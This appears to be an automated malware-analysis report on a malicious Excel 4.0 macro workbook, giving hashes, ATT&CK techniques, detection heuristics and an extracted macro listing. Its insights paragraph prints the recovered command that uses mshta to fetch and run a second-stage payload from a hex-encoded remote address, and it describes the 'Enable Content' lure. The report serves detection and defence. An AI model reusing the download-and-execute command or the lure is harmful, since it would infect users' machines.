Office (OLE) / .XLS malware analysis — malicious · ca48a573c92bf381

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: e131182f584edb2020b277cd6bab882f SHA-1: f10e3e6fdacee76d2311021a61b44c39758561a0 SHA-256: ca48a573c92bf381aae50f6624550afc78ef4499da35d1611eeb4295b715a8a9

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro sheet that uses an Auto_Open macro to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted macro script reveals a command that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating it will download a second-stage payload from the specified URL. This behavior is consistent with a macro-based downloader.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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